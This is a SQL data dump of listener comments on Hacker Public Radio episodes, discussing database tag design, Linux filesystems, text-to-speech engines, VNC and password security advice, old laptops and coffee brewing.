(913,1569,'2014-08-19 18:25:06','Ken Fallon','Straw Man Argument','Unlike you\'re mainframe programmer who knew there would be a problem in at most 50 years, our problem might arise in 2319, assuming the current rate of hosts coming to the network, and ignoring the fact that there are only about 80 hosts active in any given year, and assuming all our hosts live to be to a grand old age of 370 or so, and that they are all available to be in this show. Even then it would still take over 5 hours to introduce them and we would probably just put them under Various Hosts at that point, like we do for the New Year Show. Which incedently has under 100 listeners, let alone contributing hosts.\r\n\r\nSo why is it a bad idea to use a comma separated list in the case of HPR ?\r\n\r\nRemember I intend to get at least one more show out of you or Dave on this topic.\r\n\r\n/me struggles not to say \"because it\'s more elegant\"\r\n\r\n\r\n\r\n','2017-09-09 07:41:25'),
(914,1569,'2014-08-21 10:24:54','Mike Ray','New host name','I\'m going to make a new show under a host name containing a comma :-p','2017-09-09 07:41:25'),
(915,1569,'2014-09-03 13:57:38','Ken Fallon','How do you deal with tags','I can see the usefulness of many to many relationships but I\'m curious to know how \"tags\" are supposed to be modelled in a RDBMS','2017-09-09 07:41:25'),
(916,1569,'2014-09-03 22:03:24','Dave Morriss','Dealing with tags','I\'d have thought the answer was more of the same many-to-many stuff.\r\n\r\nSo what is a a tag? I would expect it to be a descriptive string, perhaps one already used in a system, or maybe a new one. Usually you\'d want to refer to existing tags when tagging an entity in your database I imagine, so you can see if the tag is \"open source\" or \"open-source\".\r\n\r\nIn your interface, if you wanted to re-use a tag for a new entity then would be good if your system offered it in a menu or a list or let you start typing it and generated the matches as you type (like Google does in browsers). To do that you\'d need a searchable table containing one tag per row.  If you were typing in a tag and you made a typo the error would be more obvious in such a scheme. (You\'d need Javascript to do this in a browser though.)\r\n\r\nThen a tagged entity associated with many tags would have multiple entries in a cross-reference table. You\'d probably want to store your tags with a case-insensitive variant or build a case-insensitive index too.\r\n\r\nYou wouldn\'t want to store the tags in a comma-separated list in the entity (no idea why I thought of that design) since you couldn\'t then implement a rapid lookup as you typed. Plus you\'d have duplication, couldn\'t easily build an index, etc, etc.\r\n\r\nDoes that make sense? Mike can probably explain this more clearly :-)','2017-09-09 07:41:25'),
(917,1569,'2014-09-04 19:26:30','borgu','','I\'ve somewhat mixed feeling about this ep. Mike starts explaining in good, simple and easy to follow way and then just drops it :( He just needed to continue in similar fashion. Like, one can point from artist_table to genre_table and back but in order to preserve many-to-many nature of data one would have to have multiple copies same data at each side and leave behind the uniqueness of keys and then to change, for example, artists name one would have to change in multiple records at once and queries would have to filter through a lot more data  and so on... it would be terribly inefficient and wasteful but it would work... and it would be obvious to listener why this is a bad design... and in an effort to improve it one can evolve it to have third intermediate table...\r\n\"believe me this is bad\" will not cut for explanation :(\r\n*sigh*\r\nsorry, I guess I\'m ranting..','2017-09-09 07:41:25'),
(918,1569,'2014-09-05 01:01:52','Mike Ray','Tags','An RDBMS is a (potentially) huge exercise in set theory.  So a collection of tags associated with, for example, a show, is a \'set\'.  SQL provides the \'in\' clause for such things:\r\n\r\nselect show from tbl_show\r\nwhere \'elephant\' in\r\nselect tag, show_id from shows;\r\n\r\nor something like that.\r\n\r\nI\'ve never even exposed my brain to how something like Google indexes the world\'s web sites.  But you can bet they don\'t use a comma-separated list in a single table column.\r\n\r\nI think we just found a subject for my next database show...set theory and the \'IN\' clause.','2017-09-09 07:41:25'),
(919,1569,'2014-09-05 03:16:50','Mike Ray','More about tags','Actually thinking more about this.  It\'s another simple many-to-many.\r\n\r\nA show can have one or more tags, and a tag can appear for one or more shows.\r\n\r\nSo, using the same diagramming I used in my show notes, and I hope the arrows don\'t screw up the form submission:\r\n\r\nshow------tag\r\n\r\nThe tag table only has one row for any possible tag.  And here tags need to be cleaned up, probably all made lowercase and with apostrophes removed etc.\r\n\r\nThen the show_tag_xref table just has a row consisting of two columns:\r\n\r\nshow_id\r\ntag_id\r\n\r\nBoth columns have \'not null\' constraints and there is a compound unique index.\r\n\r\nThen an SQL query something like this can be looped to insert tags into the tags table with an \'after-insert\' trigger to insert into the show_tag_xref table and the tag_id of the tags table is an autoincrement column:\r\n\r\ninsert into tbl_tags (strTag) values (?)\r\nwhere ? not in(\r\nselect str_tag from tbl_tags\r\n);\r\n\r\nAnd then queries similar to those I did for the 1569 show notes are used to pull shows from the pool by tag.\r\n\r\nIt\'s a while since I did any professional MySQL programming but I think it now has triggers and autoincrement columns, and stored procedures.\r\n\r\nA breeze in Perl using the DBI.\r\n\r\n','2017-09-09 07:41:25'),
(920,1569,'2014-10-07 23:49:34','Mike Ray','@Borgu','I thought it was pretty clear.  But it\'s always possible to find a better way to explain it.  I got a bit lost at the point I talked about a circular reference.  That could have been better.  But I guess an explanation that didn\'t have a 100% perfect explanation is better than no show at all.  \r\n\r\nI did this show in response to a real-world discussion.  I\'ll not bother with any more about RDBMS matters.\r\n','2017-09-09 07:41:25'),
(921,1569,'2014-10-08 07:46:15','Ken Fallon','Noooooo','Hi Mike,\r\n\r\nPlease continue to send in shows on anything you like. I think the feedback has been overall excellent on your show and I personally want to hear more on RDBMS as do many other listners.\r\n\r\nKeep them coming.\r\n\r\nKen.','2017-09-09 07:41:25'),
(922,1570,'2014-08-11 04:20:58','Klaatu','JFS works for me.','Always good to hear a little about JFS. I have been using JFS on my main 500GB SSD drive as well as my 64GB thumbdrive for, I think, three years now. So far I have nothing but good things to say about it. \r\n\r\nI do not have a whole lot of data about it, except that it has been working quite nicely and without incident. \r\n\r\nA 256GB SSD drive, only a few months old, using a filesystem that is *not* JFS, has recently died. I am tempted to take this as a vote of confidence for JFS, but lack of any real causal data for the failure prevents me from considering it seriously.','2017-09-09 07:41:25'),
(923,1577,'2014-08-21 01:43:06','x1101','Thanks!','I was actually about to build something very like this myself! Playing with it now and loving it!','2017-09-09 07:41:25'),
(924,1577,'2014-08-23 16:43:44','guitarman','Cool','Glad you are enjoying it x1101.  I like the philosophy of it, plus its very performant.  If you need help with it aside from the handbook which is great on the getnikola website, they have an IRC chat room on freenode: #nikola where the devs and a few users hang out.  I\'ve gotten some good help there as well.  \r\n-Cheers','2017-09-09 07:41:25'),
(925,1580,'2016-05-06 01:39:36','Ramiro','FAT, FAT32','Perhaps you could change the name of the Podcast from \"FAST and NTFS\" to \"FAT and NTFS\"','2017-09-09 07:41:25'),
(926,1580,'2016-05-06 09:29:24','Dave Morriss','Title change','Thanks Ramiro. This typo obviously slipped through the net in 2014, but has now been corrected','2017-09-09 07:41:25'),
(927,1580,'2016-05-08 15:47:58','Ken Fallon','Done','Changed fast to fat','2017-09-09 07:41:25'),
(928,1587,'2014-09-05 14:24:47','chalkahlom','','fine show indeed! Many thanks.','2017-09-09 07:41:25'),
(929,1588,'2014-09-04 01:30:38','Stephen','re the reader','I agree with your collective assessment that the reader did well. But one thing really bugged me repeatedly--he made the classic non-local mispronunciation of the city of Kissimmee. It is *not* KISS-im-mee; it\'s kis-SIM-mee.','2017-09-09 07:41:25'),
(930,1588,'2014-09-10 02:15:07','Fifty OneFifty','Cast member areas of the Haunted Mansion Facade','https://www.youtube.com/watch?v=GgnKtJpmVfk','2017-09-09 07:41:25'),
(931,1590,'2014-09-06 16:25:17','Jonathan','Great Show','Thanks for this great introduction to XFS. I had been wondering why Daniel Robbins (creator of Gentoo, Funtoo) recommends it. While it seems ideal for enterprise use, for personal use it\'s a bummer that you can\'t resize (shrink) it. Guess I\'ll be sticking to my tried-and-true ext configuration in my next system setup.','2017-09-09 07:41:25'),
(932,1591,'2014-09-30 14:22:38','mordancy','lighting your charcoal chimney','The best and cheapest way I have found to light the charcoal in my charcoal chimney has been to use either newspaper or paper towels. Put as much vegetable oil or cooking oil on it as you can. Then it will act like an oil lamp and the paper will burn until all the oil has cooked off.','2017-09-09 07:41:25'),
(933,1593,'2014-09-12 20:49:14','johanv','Very cool','I really enjoyed this episode. I used to program in C++ more than 10 years ago. At that time, I didn\'t understand how overloading the ()-operator could be useful, but now I realise that I needed just that back then to make the mathematical library I was working on way more intuitive to use.','2017-09-09 07:41:25'),
(934,1594,'2014-09-16 12:46:33','johanv','Linux for the kids','I really like it that you introduce your kids to Linux. I try to do that as well. I installed a Doudou-Linux box for my 4yo son, and he\'s finding his way pretty well (https://www.doudoulinux.org/web/english/index.html).\r\n\r\nI hope he won\'t get stuck into the Windows world after some time just because my wife doesn\'t want to abandon Windows. She\'s a teacher, and teachers often tend to love Microsoft Office.\r\n\r\nI guess I will have to make sure that there is always something on the Linux box that is more interesting than the Windows stuff. Shouldn\'t be too hard, I suppose.','2022-02-14 13:17:17'),
(935,1594,'2014-09-17 00:52:08','FreeLikeGNU','Open Spades','After listening to your article I did some research and found there is FOSS alternative called OpenSpades: https://github.com/yvt/openspades/releases/tag/v0.0.12  \r\n\r\nThere are Linux build instructions here: https://github.com/yvt/openspades/blob/master/README.md','2017-09-09 07:41:25'),
(936,1594,'2014-09-20 11:54:57','Andrew Conway','','Johnv - children start out open minded - sounds like we\'re both keen to stop our children from sliding into the closed world!\r\n\r\nFreeLikeGNU - thanks, I wasn\'t aware of that and will check it out and tell my son about it.','2017-09-09 07:41:25'),
(937,1596,'2014-09-16 05:54:04','Ken Fallon','Let everyone be a hacker','First let me say that this was a brilliant episode. \r\n\r\nI do however want to question your assumption that real life Hacking is a bad thing. For years we have fought the use of Hacker as the evil stereotypes as portrayed by media. Surely it\'s a good thing that the word is now been extended so that anyone can feel that they are a hacker.','2017-09-09 07:41:25'),
(938,1596,'2014-09-17 13:19:14','Michael','You nailed it!','Wow. I\'m in general not oposing the wider scope use of the term. I think everybody does it to a certain extend, if they call it hacking or not, and that it lies in the nature of mankind. Therefore I personally do no want to limit it to coding and computer technology, nor do I feel the need \"to claim it back\".\r\nHowever, Klaatu has a point and his explanation absolutely resonated with me. It,s honest and thorough and the best one I have encountered so far!\r\n\r\nThank you for that.\r\n\r\nRegards,\r\nMichael','2017-09-09 07:41:25'),
(939,1596,'2014-10-18 04:20:46','Gabriel Evenfire','','While I can see where you are coming from Klaatu, I still have to disagree with your prespective.  Let us consider the timeless Jargon File which I largely agree with: \r\n\r\n\"Hacking might be characterized as \"an appropriate application of ingenuity\". Whether the result is a quick-and-dirty patchwork job or a carefully crafted work of art, you have to admire the cleverness that went into it.\"\r\nhttps://www.catb.org/jargon/html/meaning-of-hack.html\r\n\r\nSo, hacking doesn\'t necessarily have to involve lengthy effort or careful craft.  Unfortunately, what is ingenious to one person is banal to another.  While pop-culture may may apply the term \"hack\" trivially, perhaps in the eyes of many in this world, everyday tips and tricks do seem ingenious.  In that sense, pop culture is using the term correctly.  Of course, among true \"hackers\"  (see Appendix B) this wouldn\'t be considered to be the case.  But to each their own.  It\'s better than perverting the term to only mean \"break into computers.\"\r\n\r\nCheers,\r\n  - Gabriel Evenfire','2022-02-14 13:17:17'),
(940,1597,'2014-10-12 00:25:01','noName','','Thanks Steve. Enjoyable and informative listening.','2017-09-09 07:41:25'),
(941,1598,'2014-09-18 07:34:22','gigasphere','Great episode','Thanks Ahuka, I found this episode really useful in assisting my understanding of the subject particularly when talking about the salted hash and which hashing algorithms are the minimum standard now.','2017-09-09 07:41:25'),
(942,1598,'2014-09-21 00:03:01','Kevin O\'Brien','Thank you for the comment','Thank you gigasphere for the comment. It is nice to know I\'m giving useful information. We have more to come.','2017-09-09 07:41:25'),
(943,1599,'2014-09-19 15:01:51','laindir','This is me laughing','Absolutely loved the part after the interview. It gives a real sense of the work they\'re doing and the incredible strides in quality that have been made in open source TTS tech.','2017-09-09 07:41:25'),
(944,1599,'2014-09-21 00:06:30','Kevin O\'Brien','Great show','I really enjoyed this show Ken. I appreciated learning more about how you develop an application like this. Please do have Ingmar back at some time to continue.','2017-09-09 07:41:25'),
(945,1599,'2014-09-22 20:05:55','johanv','Dutch voice','I am certainly looking forward to a follow up show about creating a Dutch voice. :-)','2017-09-09 07:41:25'),
(946,1599,'2014-09-23 15:45:00','davidWHITMAN','Mary TTS','Great show. Gotta admire those who have put the effort imto projects like this. go GNU!','2017-09-09 07:41:25'),
(947,1599,'2014-11-09 15:01:29','Steve Bickle','How to for Debian','I\'ve put together a how-to showing how to get MaryTTS installed and running on Debian. It is at https://blog.bickle.co.uk/podcasts/marytts-voice-synthesizer-how-to-for-debian/','2022-02-14 13:17:18'),
(948,1599,'2014-11-13 15:39:59','Mike Ray','MaryTTS howto etc','Thanks for the great howto on installing MaryTTS.\r\n\r\nI have installed it and run it on my Debian desktop and I have to say so far that I fail to see what everybody is raving about.\r\n\r\nWriting any kind of software speech synthesiser is a massive undertaking and I take my hat off to anybody that can do it.\r\n\r\nBut to those who gripe about eSpeak and rave about MaryTTS I have to say; eSpeak is lean and mean and supports dozens of languages.  MaryTTS on the other hand is bloated and the voice I have heard is not very much better than I am used to with eSpeak.\r\n\r\nSpeaking as a blind computer user, small footprint and fast, crisp operation is far more important than the sound of the voice.  I fail to see how I could write a long text document on a modest machine and expect MaryTTS to keep up with the fact I have been typing for thirty years.\r\n\r\nAnd I am speaking as a blind person.\r\n\r\nWith one or two notable exceptions, possibly the use of a TTS engine by children with print disabilities other than blindness, nobody need look any further than eSpeak, IMHO.\r\n\r\nWhere something like MaryTTS _might_ win, is in the creation of static wav files for repeated use, but for on-the-fly tts, nothing beats eSpeak.\r\n\r\n','2017-09-09 07:41:25'),
(949,1599,'2014-11-26 23:24:36','Steve Bickle','Horses for courses','Mike, \r\n\r\nI am not a TTS developer either, I agree that eSpeak is a fantastic piece of code. As someone who started programming on the ZX81 and Atari 400 I can appreciate compact code. \r\n\r\nThe eSpeak voice is intelligible, and so I\'m lead to believe, can still be understood at high speeds. \r\n\r\nThe eSpeak voice is generally not aesthetically pleasing to those less familiar with TTS. I think Ken was looking to the MaryTTS voices to find something more appealing to the general listener.\r\n\r\nHaving had a little more time to play with MaryTTS I can now appreciate that although seemingly more natural some elements of the voices are less intelligible at times. This may be the clipping you referred to on the mail list (I don\'t know because I don\'t really have a vocabulary to describe TTS voice quality). What I have noticed is that there are two types of MaryTTS voices,  conversely to expectations the ones with the larger data-set appear to be less intelligible. \r\n\r\nWhich if any of the Mary voices are the clearest/cleanest?\r\n\r\nThe goals of eSpeak and MaryTTS are somewhat different, the Mary project appears to be a university research project. Having had a bit of a dig around in the MaryTTS code, I\'ve found that it includes a lot of tools for recording and creating voices. There is also a whole range of effects processing and other tools to amend the vocal output model. Its definitely not a light weight TTS solution, but I don\'t think that was ever the intention.\r\n\r\nI did notice that eSpeak can create static wav files using the -w switch so it probably wins there too.\r\n\r\nWhere MaryTTS or similar projects may win out over eSpeak would be to provide a more suitable voice to those who rely on speech synthesis to be able to speak. I recently heard this TED talk. https://www.ted.com/talks/rupal_patel_synthetic_voices_as_unique_as_fingerprints . The voices featured here appear to be a great improvement over MaryTTS, but I don\'t know what software they are using or if it is open source. ','2022-02-14 13:17:18'),
(950,1599,'2014-11-26 23:29:30','Steve Bickle','Maryspeak project now on github','Just wanted to add a quick note to the episode to say that the maryspeak project is on now on github along with the documentation in markdown files at https://github.com/scbickle/maryspeak','2017-09-09 07:41:25'),
(951,1599,'2014-11-29 00:31:12','Mike Ray','maryspeak, great stuff','Hello Steve.  Great stuff again with maryspeak.  I\'ve cloned it from github and at the moment I can\'t get any speech out of it but I suspect that\'s a permissions issue or something.  Which user does maryspeak run as?  If it runs as the user that executes the maryspeak command I would expect sound if the user belongs to the \'audio\' group.  I will solve it though because I am sure it is something I have not done.\r\n\r\nI will pass this stuff on to Fernando of the F123 project because he has aksed me if I can produce a MaryTTS speech-dispatcher module and maryspeak may be an easy to hack the espeak-generic module to make marytts-generic.\r\n\r\nOn the subject of eSpeak; I suspect some folks have problems with languages other than English.  Certainly Fernando says it is hard to understand when it is speaking Porteugese (I probably spelt that wrong).\r\n\r\nI guess this is quite possible since I doubt Jonathan Duddington is polyglot :)\r\n\r\nNice to see that the maryspeak repo also contains the MaryTTS Debian howto.\r\n\r\nThanks again.\r\n\r\nMike','2017-09-09 07:41:25'),
(952,1601,'2014-09-22 13:12:22','tcuc','Great episode! ','I enjoyed this episode, i have installed a LAMP stack before and the reason i listened  to this episode was that my hands were full and i couldn\'t skip. but I\'m glad i listened, the way you explained the installation and defining things as you mentioned them made it easy to understand.\r\n\r\nonly thing i didn\'t hear that i was waiting for was that you didn\'t mention Virtual machines! their great for testing software and server applications. \r\n\r\n','2017-09-09 07:41:25'),
(953,1601,'2014-09-30 00:12:18','Klaatu','The host responds','Great point, tcuc. I guess I wasn\'t thinking about VM\'s or docker images or anything else, because I was seeing this as an introductory episode to the LAMP stack as A Thing.\r\n\r\nI am making note of your idea, though, and might just record something about the use for VM-based web hosting later!\r\n\r\nThanks for listening, and for commenting!','2017-09-09 07:41:25'),
(954,1604,'2014-10-01 02:49:18','Christopher M Hobbs','What a great episode!','I really enjoyed hearing your story about how you started using GNU Linux!  It was very entertaining and it sounds like you\'ve come a long way!\r\n\r\nThanks for recording an episode!  Happy Hacking!','2017-09-09 07:41:25'),
(955,1606,'2014-10-05 09:20:51','Ken Fallon','VNC is not secure','Hi Klaatu,\r\n\r\nYou mentioned several times in the show that VNC is secure, that is not the case unless people tunnel the session over ssh or a vpn as you have done. This was not clear and may lead someone to assume that VNC in itself is secure.\r\n\r\nhttps://www.cl.cam.ac.uk/research/dtg/attarchive/vnc/sshvnc.html\r\n\"VNC uses a random challenge-response system to provide the basic authentication that allows you to connect to a VNC server. This is reasonably secure; the password is not sent over the network. Once you are connected, however, traffic between the viewer and the server is unencrypted, and could be snooped by someone with access to the intervening network. We therefore recommend that if security is important to you, you \'tunnel\' the VNC protocol through some more secure channel such as SSH.\"\r\n\r\nEven the \"reasonably secure\" statement is challenged here:\r\nhttps://en.wikipedia.org/wiki/Virtual_Network_Computing#Security\r\n\"By default, RFB is not a secure protocol. While passwords are not sent in plain-text (as in telnet), cracking could prove successful if both the encryption key and encoded password are sniffed from a network. For this reason it is recommended that a password of at least 8 characters be used. On the other hand, there is also an 8-character limit on some versions of VNC; if a password is sent exceeding 8 characters, the excess characters are removed and the truncated string is compared to the password.\"\r\n\r\nI have also seen VNC security questioned for not requiring a username and password.\r\n\r\nRecommendations:\r\nuse the -localhost option so that only local (and tunneled) connections are allowed\r\nuse ssh tunneling\r\nuse the maximum size password allowed','2022-02-14 13:17:18'),
(956,1612,'2014-10-07 20:59:07','corenominal','From another X61 user','Great episode. I love your speaker hack, very clever idea. I also purchased a refurbished X61 a few years back (the non tablet kind) and it\'s a great little machine. Like you, I also use it as a machine to take on the road and I took it to this year\'s OggCamp, where Beni ended up using it for his talk about Lernstick. Interestingly, or not, Beni used it because his Chromebook did not have VGA out. I like that old hardware can sometimes be more useful than new stuff :)','2017-09-09 07:41:25'),
(957,1612,'2014-10-08 18:20:26','NYbill','','Ha, and we were both EEE1000 users once upon a time as well. (Well, I still use mine. I use it for LUG/2600 meetings, travel, etc...)\r\n\r\nYea, the x61\'s are decent rigs. I little old, a little chunky. But, they seem to be rock solid. \r\n\r\nI\'m bummed I missed you guys at OGGcamp this year. But, it was cool to see the HPR table picture.  Who knows, maybe I\'ll see everyone next time. ','2017-09-09 07:41:25'),
(958,1612,'2014-10-23 01:12:28','pokey','Great episode','I loved it. Thanks Bill. Were did you buy it? I\'ll listen again, incase you don\'t answer.\r\n\r\nMy wife\'s laptop just broke. Maybe beyond repair. So I\'m looking at my options now.','2017-09-09 07:41:25'),
(959,1612,'2014-11-03 13:24:24','Charles in NJ','Returns are fun','Thanks for this episode.  I have used only old and refurbished computers at home since I began to use Linux. Refurbs give you the freedom to experiment with mods that you might not be willing to try on a new machine. Your speaker hack is a great example of the possibilities for making a truly custom rig. \r\n\r\nIf you feel like doing more about PLCs or projects with inexpensive programmable microcontrollers, those would be fun to hear, as well.\r\n\r\nLoved the show!\r\n\r\nCharles in NJ\r\n','2017-09-09 07:41:25'),
(960,1612,'2015-08-15 13:06:39','NYbill','Sorry I\'m late...','Sorry I\'m quite late to these comments, guys. I bought that rig via Micro Center, Pokey. You\'ve probably bought something by now. But, just in case anyone reads this in the future, New Egg, Tiger Direct, The Lenovo Outlet, and The Dell Outlet also sell referbs. \r\n\r\nAnd thanks for the kind words, Charles in NJ.  Yea, I\'m always hacking on something. Its fun to blab about the projects on HPR as well.  \r\n\r\n(Yes, this is me getting better at checking comments. Its only been about 9 months. Heh...)','2017-09-09 07:41:25'),
(961,1616,'2014-10-14 07:27:35','johanv','Do you have a blog post about this?','This seems a very interesting episode to me. Do you have a blog post about this? I didn\' t listen very attentively. :-)\r\n\r\nIf not, I will of course happily listen again :-)','2017-09-09 07:41:25'),
(962,1617,'2014-10-21 12:43:07','pokey','Fun game','The show was ace! Thanks for the tip.','2017-09-09 07:41:25'),
(963,1619,'2014-10-17 07:08:23','Mike Ray','Excellent show','Thanks for an excellent show!  A complex and interesting subject covered in an interesting and pleasing way.  More of the same please','2017-09-09 07:41:25'),
(964,1619,'2014-11-09 11:36:14','Alison Chaiken','Very valuable content','I really enjoyed listening and look forward to consulting your links.     I work on the ARM Linux kernel on a different processor and appreciate the opportunity to learn more about how boot-time initialization really works and how ELF varies among processors.','2017-09-09 07:41:25'),
(965,1620,'2014-10-17 12:49:49','cybergrue','Dangerous advice','Another good episode, but the advice on using haystacks was dangerous.  As you mentioned, the search space is becoming to large to sytematiclly search, so password crakers have evolved.  One method they use is to take found words (not just out of a standard dictionary, such as all the words in wikipedia, other languages, leaked password lists, etc.) and try these plus varients like padding with additional characters, combining multiple words together (with and without spaces).  In one news story, a password cracking package was breaking passwords that were 55 characters long! https://arstechnica.com/security/2013/08/thereisnofatebutwhatwemake-turbo-charged-cracking-comes-to-long-passwords/\r\nThese passwords were weak (common words strung together like the xkcd advice are particularly vulnerable) https://xkcd.com/936/ but it does show there are no short-cuts in creating a good password, it has to be completely random, mixed cases with symbols and numbers and long!\r\nI would have submitted a responce show, but I think that this is too important, and that you should be the one to say this.\r\n ','2022-02-14 13:17:19'),
(966,1620,'2014-10-17 18:06:45','John','','Thanks, very interesting information.  I appreciate you taking the time to do this, and the other podcasts you contribute.  All the best, John','2017-09-09 07:41:25'),
(967,1620,'2014-10-21 19:34:45','Kevin O\'Brien','Please do a show','Cybergrue, I think you should do a show. It would be a great contribution. I have never thought that my opinions were the last word on anything, and I welcome dialog, as Ken Fallon can attest.','2017-09-09 07:41:25'),
(968,1620,'2014-10-22 06:15:53','Ken Fallon','Very good show but 2 comments','1. The use of the word Hacker without prefixing it with malicious\r\n2. Many systems restrict the length and type of characters that can be used\r\n','2017-09-09 07:41:25'),
(969,1620,'2014-10-22 20:42:21','Kevin O\'Brien','Yes and ...','Guilty on the first point. I should have been more precise.\r\n\r\nOn the second point, are you saying that it is _good_ to restrict length and characters in passwords? Because if so I would love to hear your reasoning. Maybe I missed something in my analysis.','2017-09-09 07:41:25'),
(970,1620,'2014-10-23 17:17:44','pokey','Another Excellent episode','Full of Great information, and presented in an entertaining way, by a man who could (and did) keep listeners engaged while reading the phone book. Thanks for everything you do for HPR, Ahuka.\r\n\r\ncybergrue, \r\n1. a great point. Thank you. \r\n2. Please do a show detailing this. You\'re a member of our community, so we want to hear from you as well. It doesn\'t have to be long, it just has to be you. TIA.','2017-09-09 07:41:25'),
(971,1620,'2014-10-24 19:36:47','Ken Fallon','NO!!!','No length restrictions are not good, nor are charachter restrictions. Yet it is a fact that these restrictions exist.','2017-09-09 07:41:25'),
(972,1620,'2014-10-30 11:35:35','Mike Ray','Pasting passwords?','This is probably a stupid question about passwords.  I recently had reason to believe I had been attacked by a key-stroke harvesting nasty, and it prompts the question; is it a good idea, or even is it remotely effective, to paste a password from the clipboard if it has been copied from another document?  This at least gets round the key-stroke bandits, right?','2017-09-09 07:41:25'),
(973,1622,'2014-10-21 18:32:46','mysterio2','Excellent interview.','I found this interview thoroughly engaging and informative. Hearing the business case for open source was interesting and an interesting juxtaposition to the more common ideologically based statements of open-source advocacy one hears. Keep it up!','2017-09-09 07:41:25'),
(974,1622,'2014-10-21 19:32:20','Kevin O\'Brien','Great interview!','I really enjoyed this interview with Michael Tiemann, semioticrobotic. You are taking this series in an interesting direction, and I look forward to more.','2017-09-09 07:41:25'),
(975,1622,'2014-10-22 13:37:11','semioticrobotic','Thank you!','Thanks to everyone for listening and for your support. I loved, loved, loved doing this interview&mdash;a real dream come true. Another outcome was this article:\r\n\r\nhttps://opensource.com/business/14/8/interview-michael-tiemann-red-hat','2022-02-14 13:17:19'),
(976,1622,'2014-10-23 17:08:27','pokey','Awesome!','An awe inspiring interview with an inspirational interviewee. You had some really great, engaging questions. This may be the best interview on HPR so far. Congratulations on a job very well done.','2017-09-09 07:41:25'),
(977,1629,'2014-10-30 00:39:58','Mike Ray','Clarification on my email address, nasty tts','I was a bit alarmed to hear the pronunciation of my given email address at the start of show 1629, Banana Pi First Impressions.\r\n\r\nPlease note it is NOT raspberrypi.org but raspberryvi.org, VI for \'visually impaired.  When I set up the email list and web site I checked with the Raspberry Pi Foundation whether they were happy with that.  They said yes.\r\n\r\nI\'m not associated with the Foundation in any way, nor is my email list and web site','2017-09-09 07:41:25'),
(978,1630,'2014-11-01 13:41:28','Mike Ray','Another excellent episode','Another great episode of Bare Metal Programming on the Raspberry Pi.  I like the loading of executable code with xmodem over the UART  Looking forward to the next.\r\n\r\nOnly issue I have is that one of the PDFs pointed to in the first episode for download is password protected.\r\n\r\nI\'d like to get a list of all the ARM ASM instructions.','2017-09-09 07:41:25'),
(979,1630,'2014-11-01 23:24:00','Gabriel Evenfire','Password protected PDF...','Hey,\r\n\r\nGlad you are enjoying the series...\r\n\r\nI just tried all the PDFs wtihin firefox and all opened up without asking for a password.   Was it the ARM ARM that was giving you issues?\r\n\r\nI found a second link that has that document.\r\n\r\nhttps://www.scss.tcd.ie/~waldroj/3d1/arm_arm.pdf\r\n\r\nThe ARM instructions are in section A3. \r\n\r\nHere is a quick reference card that I found online and have used on occasion.\r\n\r\nhttps://users.ece.utexas.edu/~valvano/Volume1/QuickReferenceCard.pdf\r\n\r\nNow the RPI\'s ARM basically has support for \"regular ARM\" which is like 32-bit RISC, \"thumb\" which has a compressed form of regular ARM in 16-bit instructions and \"jazelle\" which is a mode where the ARM can interpret java bytecodes. \r\n\r\nRegular is simple and elegant, and so is thumb from what I can see.  But I have never used it.  I\'ve no interest in the Jazelle instructions for the time being.  Now, newer ARM processors have support for 64-bit instructions mixed with 32-bit instructions (maybe even mixed with 16-bit instructions?).  I\'m not a fan of what they did there.\r\n\r\n If you are still getting issues, email me.  (see my profile)\r\n\r\nCheers,\r\n -- Gabriel Evenfire','2022-02-14 13:17:19'),
(980,1630,'2014-12-16 15:11:22','Alison Chaiken','Would make a great basis for a hackfest','Parts 1 and 2 have about the right amount of content for a weekend workshop.    It would be fun to have a \"Bare Metal Programming on the Raspberry Pi\" session as part of some weekend hackfest.','2017-09-09 07:41:25'),
(981,1636,'2014-11-10 06:11:40','victor','Great episode! ','Hi dave.  I really enjoyed this podcast!  First I\'d like to comment about your French press being to difficult to press.  I think either your coffee was ground too fine or you added too much coffee to the press.  \r\n\r\nI own a French press and i haven\'t used it since i bought a moka pot this past summer. It\'s my favorite way to make coffee at the moment.  \r\n\r\nI\'d like to recommend investing in a burr grinder to improve your coffee experience. The encore electric grinder by baratza is an entry level burr grinder.  It retails for $150 USD.  Hand grinders work well too.  Hario &amp; porlex make some that sell for around $30. \r\n\r\nAlso,  try buying local freshly roasted coffee! ','2017-09-09 07:41:25'),
(982,1636,'2014-11-12 19:39:37','expatpaul','Bialetti','I recently aquired a Bialetti Moka Pot (a six cup model) it really is superb. I have to agree that it makes the best coffee I\'ve made.','2017-09-09 07:41:25'),
(983,1636,'2014-11-12 21:56:53','Dave Morriss','Thanks for the feedback','victor: Glad you liked the episode. I suspect the French press I mentioned was poorly made, since others I\'ve owned since then have not been as stiff to operate. I have a metal one now which has a very smooth action, and I use it occasionally to make some slightly less strong coffee than the moka pot.\r\nI do actually have a burr grinder. It\'s an attachment to my old Kenwood Chef food mixer and it does a pretty good job, even though it seems to be almost an antique. I got out of the habit of grinding my own beans, though I used to use the grinder a lot years ago. You have prompted me to go searching for what\'s available here in Edinburgh and to get back into using it - thanks!\r\n\r\nexpatpaul: Good to hear that you\'re enjoying the delights of coffee made this way.','2017-09-09 07:41:25'),
(984,1636,'2015-02-19 23:58:55','1093i3511','','There\'s a company located in Germany producing a variation, or better said a combination, based on the same principle. But using an electric kettle bottom piece. Thus you won\'t have to use your stove. \r\nUsing it since 5+ years on a daily basis. \r\n\r\nhttps://www.rommelsbacher.de/en/products/coffee/details/eko-366e/','2022-02-14 13:17:19'),
(985,1636,'2015-02-20 11:36:08','Dave Morriss','Rommelsbacher EKO 366/E','Hi 1093i3511,\r\n\r\nThat\'s certainly an impressive looking device. Thanks for pointing it out.\r\n\r\nHowever, the Luddite in me tends to prefer the simplicity of the Bialetti (currently around 20GBP on Amazon UK) to this machine (around 73GBP), though I agree that the necessity of a stove makes the German device a good choice for many.','2017-09-09 07:41:25'),
(986,1637,'2014-11-14 11:19:39','Mikael','re Facebook','Thanks for an interesting episode, FiftyOneFifty. :)\r\n\r\nIt is great to hear how people gather into communities, and even sort of spontaneous communties, to help out.\r\n\r\nBefore, I would never have thought of joining facebook, but I did a few weeks ago. Not for general \"social\" reasons, but mostly having to do with issues related to my health. There are very useful small communities on FB, and it is a very easy way to connect to people. It has meant a lot to me.\r\n\r\nThere are lots of problems with FB, but as you say, communities are made of people. That a corporation should be the intermediary is not nice, but FB can be a very useful tool.\r\n\r\nAs long as one doesn\'t put all one\'s (\"social\") eggs in one basket.\r\n\r\nTake care\r\n\r\nMikael a.k.a inscius\r\n','2017-09-09 07:41:25'),
(987,1637,'2014-12-02 10:59:07','gigasphere','Great episode','Hey 5150,\r\n\r\nThanks for episode, it was a really good listen and makes you remember that it is the people that make the difference!','2017-09-09 07:41:25'),
